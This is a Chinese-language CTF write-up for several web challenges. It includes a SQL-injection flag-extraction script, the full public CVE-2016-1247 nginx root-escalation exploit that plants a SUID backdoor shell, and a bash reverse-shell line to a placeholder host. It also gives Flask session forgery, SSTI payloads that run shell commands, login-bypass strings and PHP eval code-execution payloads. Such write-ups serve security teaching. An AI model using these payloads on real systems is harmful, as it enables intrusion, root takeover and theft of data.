签到
1.信息收集
拿到题目首先用dirmap或者dirsearch进行目录扫描,这时会出现一个www.zip的一个备份文件,对该文件进行访问下载可以得到3个php文件(user.php register.php login.php)。
2.源码审计
user.php:
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];
if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>
我们读到这里其实可以发现,在我们登录成功后有一个唯一的回显位$username,那多半这里就是一个注入点。
那么我们仔细分析下代码,里面出现了is_numeric()函数,检测我们的用户名是不是数字,这里我们可以利用hex()函数来进行绕过(这里用两个hex()函数,只用一个会出现字符的情况,比如'o',笔者亲测),并且对我们的用户名进行了一个长度判断(>10则取前10位,所有我们可以用substr()或者mid()函数来绕过)。
register.php:
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>
login.php:
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}
?>
我们通过读login.php和register.php, 其实可以发现,在登录页面的过滤远比注册页面多得多,明显的强过滤,所有我们完全可以利用注册页面来结合union select来达到注入,那么我们具体该怎么做?
3.题解
$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"
这是我们唯一能看的两句sql语句,通过第二句发现,我们可以在$e位置进行我们注入,让我们insert变成我们注册username踏板,而不用原本的username:
insert into test1 set email = '1', username = hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),/*,
username='*/#',password = '1'
这里的password并不会被注释掉,因为源代码换行符的存在,但原本的username会被通过内联注释掉方式注释掉(如下图)。
所有这里我们相当于真正执行是:
insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'
接下来就很简单了,就是脚本的编写
import requests
from bs4 import BeautifulSoup
url1 = "http://8f4f561f-2f15-4839-9c52-6d17a7bfadf3.challenge.ctf.show//register.php"
url2 = "http://8f4f561f-2f15-4839-9c52-6d17a7bfadf3.challenge.ctf.show//login.php"
flag = ''
for i in range(1, 50):
# /**/还可以用%0a代替
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)," + str(i) + ",1))),/*"
s = requests.session()
data1 = {
'e': str(i) + "',username=" + payload,
'u': "*/#",
'p': i
}
r1 = s.post(url1, data=data1)
data2 = {
'e': i,
'p': i
}
r2 = s.post(url2, data=data2)
t = r2.text
# 使用Beautiful Soup解析HTML文本,然后通过get_text()方法获取所有文本内容,利用filter()函数和isdigit()方法提取其中的数字部分
soup = BeautifulSoup(t, 'html.parser')
text_with_number = soup.get_text()
numbers = ''.join(filter(str.isdigit, text_with_number))
# 解码
a = bytes.fromhex(numbers)
flag += bytes.fromhex(a.decode()).decode()
print(flag)
'''
insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'
username=hex(hex(substr((select/**/flag/**/from/**/flag)from/**/0/**/for/**/1))) -> hex(hex('c')) -> number
email=0
password=0
email='0' and password='0'
'''
出题人不想跟你说话.jpg
看到题目立马就能想到是用菜刀进行一个连接,并且密码就是菜刀那里面的值--cai
进入过后右键打开命令行,查看flag
发现权限不足,猜测是需要进行提权。结合提示--漏洞大约每两分钟触发一次
猜测到大概就是有一个定时任务,这时我们通过:cat /etc/crontab
进行查看
发现一个时长为1min的定时,结合提示,这里可能就是问题所在。
--每分钟执行一次,以 root 用户身份执行 logrotate
命令,对 /etc/logrotate.d/nginx
配置文件进行日志轮换。
通过看别人wp,得知存在一个洞:CVE-2016-1247https://www.seebug.org/vuldb/ssvid-92538
存在漏洞的版本:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
lsb_release -a,列出所有linux系统版本信息
nginx -v,列出nginx版本信息
刚好存在如上版本
接下来就是下载poc:在CVE-2016-1247的第V部分
------------[ nginxed-root.sh ]--------------
#!/bin/bash
#
# Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# etc.) to escalate their privileges from nginx web server user (www-data) to root
# through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
# has been configured.
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro
cat <<_eascii_
_______________________________
< Is your server (N)jinxed ? ;o >
-------------------------------
\
\ __---__
_- /--______
__--( / \ )XXXXXXXXXXX\v.
.-XXX( O O )XXXXXXXXXXXXXXX-
/XXX( U ) XXXXXXX\
/XXXXX( )--_ XXXXXXXXXXX\
/XXXXX/ ( O ) XXXXXX \XXXXX\
XXXXX/ / XXXXXX \__ \XXXXX
XXXXXX__/ XXXXXX \__---->
---___ XXX__/ XXXXXX \__ /
\- --__/ ___/\ XXXXXX / ___--/=
\-\ ___/ XXXXXX '--- XXXXXX
\-\/XXX\ XXXXXX /XXXXX
\XXXXXXXXX \ /XXXXX/
\XXXXXX > _/XXXXX/
\XXXXX--__/ __-- XXXX/
-XXXXXXXX--------------- XXXXXX-
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0
---------------------------------------------------
切记,该脚本用linux编写,不要在window下写(用不了,笔者在这里栽了好久)
将脚本进行上传
在这里我们进行shell反弹(因为在执行脚本时,在蚁剑不能成功执行),题目没有安装nc,只能用bash反弹shell。
攻击机: netcat -lvvp port
受害机: bash -i >& /dev/tcp/addr/port 0>&1
这里最好是自己有一台能出网的服务器
对脚本进行赋权限和执行
chmod 777 nginx-root.sh
./nginx-root.sh
./nginx-root.sh /var/log/nginx/error.log
输入上面3条命名后,等待漏洞刷新即可拿到root
蓝瘦
本题考查的就是一个python的flask session伪造
首先Ctrl+U查看网页源代码发现:
<!-- param: ctfshow -->
<!-- key: ican -->
其中key其实就是SECRET_KEY
在登录框随意输入得到admin的提示和获取到session
Cookie:session=eyJ1c2VybmFtZSI6ImFkZGQifQ.ZiSJqA.I4jhmzH8i1svGce5liyr9g58w88
""" Flask Session Cookie Decoder/Encoder """
利用该脚本对获取的session进行解密。
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
解密:
python flask_session_manager.py decode -c -s
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t
# -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
解密:
伪造session:{'username': 'admin'}
得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZiSLyA.RqXT-kB2l0S2WymZlduid12mNbw
然后在hackbar中更改我们session值,网页提示我们缺少参数,想到最开始得到param,无疑就是参数头。
通过提交参数会把我们的输入进行打印
然后再次输入?ctfshow={{7*7}},嗯,无疑就是python的ssti模板注入。
由于flag藏在了环境变量里,当时笔者找了好久都没有找到。
# 使用以下任意一种方法都可以找到flag,这是一部分,还有很多
# 通过url_for函数调用os lipsum、get_flashed_messages也有os
# {{url_for.__globals__.os.popen('env').read()}}
# {{x.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}
# 通过config内置对象调用os模块
# {{config.__init__.__globals__['os'].popen('env').read()}}
一览无余
不会
wp说为:CVE-2019-11043
利用工具:PHuiP-FPizdaM
登陆就有flag
长度为5的限制,可通过^、&、<>(同!=)等绕过。
'^0# '^''# '<>1# '<1# '&0# '<<0# '>>0# '&''# '/9#
playload借鉴于Bmth-CSDN博客
签退
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);
playload:
?S=s=system;$s('cat /var/flag.txt');
?S=s=system('cat /var/flag.txt');
?S=aaa;system('cat /var/flag.txt');
转载请说明出处,谢谢